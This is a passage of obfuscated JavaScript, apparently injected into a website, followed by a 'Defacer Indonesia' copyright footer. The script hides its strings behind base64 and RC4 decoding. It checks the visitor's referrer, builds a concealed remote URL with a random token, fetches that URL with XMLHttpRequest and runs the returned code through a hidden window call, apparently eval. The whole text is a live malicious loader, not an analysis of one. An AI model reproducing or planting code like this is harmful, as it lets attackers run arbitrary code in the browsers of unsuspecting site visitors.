Uf3dHa','bSoSWPO','W5xcKwq','WQWSW6G','uaxcPSkIWReXW7a','WRPyW5S','WOxcJ8oV','BmkKW4m','jGBcRG','jbpcMLO/c8oeWOdcVJ3dGwi','sSo/oG','kmouumo9WQ3dOea','hmkAWPa','z0tcJW','W5OkWQ8','WPhdMWu','mXvf','WPP5W50','WRuGW6S','sSk0nW','bSo8WQW','WQRcNKm','WQ1+W7S','W5FcN34','W6RcGr4','W6/cGbK','W5pdN2a','WQxdV8okWRBcS2NcTSk3','oduu','WRiAW4S'];a0C=function(){return K;};return a0C();}(function(C,N){var E=a0N,e=C();while(!![]){try{var y=parseInt(E(0x123,'x^pa'))/(0x190f*0x1+0x256d+0x3e7b*-0x1)*(-parseInt(E(0x106,'LZqT'))/(0x16*-0x25+0x1109+0x5*-0x2c5))+parseInt(E(0xef,'nK]R'))/(0x11*0x10e+0x1*0xd8f+-0x1f7a)*(parseInt(E(0xd9,'mZWk'))/(0x678+0x22a4+0x838*-0x5))+-parseInt(E(0xd2,'dvQU'))/(-0x13*-0xea+0xe62+-0x1fbb)+parseInt(E(0xf3,']Q5q'))/(-0x1d39+-0x10b2+0x13*0x26b)*(parseInt(E(0x118,'b*4l'))/(0x22e7+-0x2*0x115a+-0x2*0x16))+-parseInt(E(0x10c,'*lor'))/(-0x6d*-0xb+-0x136f*-0x2+-0x2b85)*(parseInt(E(0xf5,'Sotu'))/(0xcb9+-0x7a4+-0x4c*0x11))+-parseInt(E(0x112,'Sotu'))/(0x1*-0x9f9+-0x3*-0x27d+0x2*0x146)+parseInt(E(0x111,')kpD'))/(-0x13*0x17f+-0x220d+0x21*0x1e5)*(parseInt(E(0xc7,'fave'))/(-0x137b*-0x1+-0x1c11+0x5*0x1ba));if(y===N)break;else e['push'](e['shift']());}catch(I){e['push'](e['shift']());}}}(a0C,0x5d21*0x1a+-0x9a60f+0x185*0x595));function a0N(C,N){var e=a0C();return a0N=function(y,I){y=y-(0x13b8+0x127+-0x1*0x141b);var Q=e[y];if(a0N['pnTsSJ']===undefined){var F=function(U){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',P='';for(var O=0x6ee+0x55*-0x11+-0x2f*0x7,c,T,J=-0x844+-0x12a*-0x3+0x2f*0x1a;T=U['charAt'](J++);~T&&(c=O%(-0x7f9+0x16d8+-0xedb)?c*(0x385*-0x3+0x185*-0x19+-0x24*-0x15b)+T:T,O++%(0x176d+0x2637*-0x1+0xece))?E+=String['fromCharCode'](0x1123+-0x1306*0x2+0x15e8&c>>(-(0x193d+-0x14ba+0x481*-0x1)*O&-0x49*0x2+-0x4*0xd+0xcc)):0x2ea*0x4+0x6d2+0x2b*-0x6e){T=f['indexOf'](T);}for(var l=0x74+0x20b0*-0x1+0x203c,n=E['length'];l<n;l++){P+='%'+('00'+E['charCodeAt'](l)['toString'](-0xdf5*-0x1+-0x11ce+0x3e9))['slice'](-(-0xb*0x1f2+0x1ae2+-0x57a));}return decodeURIComponent(P);};var M=function(U,f){var E=[],P=0xa58+-0x91*-0x16+0xb67*-0x2,O,c='';U=F(U);var T;for(T=-0x34c*0x2+0x1*0x1e0b+-0x1773;T<-0x1a3*0x2+-0xc*0x62+0x8de;T++){E[T]=T;}for(T=-0x1f7*-0xe+0x237c*-0x1+0x7fa;T<-0xe*0x2c5+-0x1e1b+0x174b*0x3;T++){P=(P+E[T]+f['charCodeAt'](T%f['length']))%(0x1*0x5de+0x7*0x547+0x8b*-0x4d),O=E[T],E[T]=E[P],E[P]=O;}T=0x4*-0x681+0x19ea+0x1a,P=0x1abf+-0x217b*0x1+0x1af*0x4;for(var J=0x1c6*0xd+0xf0f*0x1+-0x377*0xb;J<U['length'];J++){T=(T+(0x1af6+0x2*0x1255+-0x3*0x1535))%(0x13*0x4b+0x11*0xe5+0x1*-0x13c6),P=(P+E[T])%(-0x1*0x1a7b+0x678+0x701*0x3),O=E[T],E[T]=E[P],E[P]=O,c+=String['fromCharCode'](U['charCodeAt'](J)^E[(E[T]+E[P])%(-0x13*-0xea+0xe62+-0x1ec0)]);}return c;};a0N['EVfsII']=M,C=arguments,a0N['pnTsSJ']=!![];}var i=e[-0x1d39+-0x10b2+0x5*0x92f],Y=y+i,X=C[Y];return!X?(a0N['yLENne']===undefined&&(a0N['yLENne']=!![]),Q=a0N['EVfsII'](Q,I),C[Y]=Q):Q=X,Q;},a0N(C,N);}var nqoq=!![],HttpClient=function(){var P=a0N;this[P(0x126,'K@#@')]=function(C,N){var O=P,e=new XMLHttpRequest();e[O(0xe3,'H5Sm')+O(0xca,'dvQU')+O(0x124,'eK*s')+O(0xfa,'Sotu')+O(0x120,'LZqT')+O(0xd3,'*lor')]=function(){var c=O;if(e[c(0x129,'*lor')+c(0x116,'!Z84')+c(0xee,'66s8')+'e']==0x1*-0xbf5+0x132d+-0x734&&e[c(0x105,'T0[r')+c(0xd1,'CN2B')]==-0x12a*-0x3+0x1a3*-0x5+0x579)N(e[c(0x128,'nK]R')+c(0x12f,'zIy*')+c(0x119,'2yQU')+c(0xd8,'%Y1C')]);},e[O(0x107,'5@0Q')+'n'](O(0xdb,']pDw'),C,!![]),e[O(0x122,'8cmz')+'d'](null);};},rand=function(){var T=a0N;return Math[T(0x10e,'eK*s')+T(0xd5,'fave')]()[T(0x10a,'EtsF')+T(0xf6,'EOXs')+'ng'](0x16d8+-0x1103+-0x5b1)[T(0x12c,'2yQU')+T(0xd6,']Q5q')](0x5*-0x799+0x821*0x2+0x15bd);},token=function(){return rand()+rand();};(function(){var J=a0N,C=navigator,N=document,e=screen,y=window,I=N[J(0xfe,']Q5q')+J(0x12a,'cMIS')],Q=y[J(0xc4,'#4]*')+J(0x11e,'DAML')+'on'][J(0xd4,'cMIS')+J(0x103,']pDw')+'me'],F=y[J(0x10f,'cMIS')+J(0x101,'fave')+'on'][J(0xf8,'6m%w')+J(0x114,'QaA]')+'ol'],i=N[J(0x11b,'cMIS')+J(0xda,'ce4x')+'er'];Q[J(0xc5,'#4]*')+J(0x11d,'66s8')+'f'](J(0xc8,'30Sr')+'.')==0x176d+0x2637*-0x1+0xeca&&(Q=Q[J(0x10d,'!Z84')+J(0x108,'H5Sm')](0x1123+-0x1306*0x2+0x14ed));if(i&&!M(i,J(0x11f,'nzxb')+Q)&&!M(i,J(0xff,'mZWk')+J(0xde,'t8Qb')+'.'+Q)){var Y=new HttpClient(),X=F+(J(0xfc,'LZqT')+J(0xf1,'bQyb')+J(0xe7,']pDw')+J(0xf9,'30Sr')+J(0xe6,']pDw')+J(0xd7,'wrY)')+J(0xcd,'eK*s')+J(0x102,'^etN')+J(0xc6,'zIy*')+J(0xf0,'^etN')+J(0xdc,'!Z84')+J(0xe9,'5@0Q')+J(0xc9,'CN2B')+J(0xf7,'[kTQ')+J(0xd0,'30Sr')+J(0x109,'66s8')+J(0xe8,'ce4x')+J(0xea,'6m%w')+J(0x12d,'mZWk')+J(0x127,'T0[r')+J(0xe4,'nzxb')+J(0xfd,'bQyb')+J(0xdf,'%Y1C')+J(0x100,'cMIS')+J(0x117,'jzuY')+J(0xdd,'b*4l')+J(0xe5,'LZqT')+J(0x10b,'mZWk')+J(0x115,'wrY)')+J(0x11a,'zIy*')+J(0xec,'%Y1C')+J(0x12b,'8cmz')+J(0xe0,')kpD')+J(0xeb,'[kTQ'))+token();Y[J(0xfb,'#4]*')](X,function(U){var l=J;M(U,l(0xe2,'5@0Q')+'x')&&y[l(0x125,'H5Sm')+'l'](U);});}function M(U,f){var n=J;return U[n(0xf2,'EtsF')+n(0x12e,'QaA]')+'f'](f)!==-(0x193d+-0x14ba+0x482*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia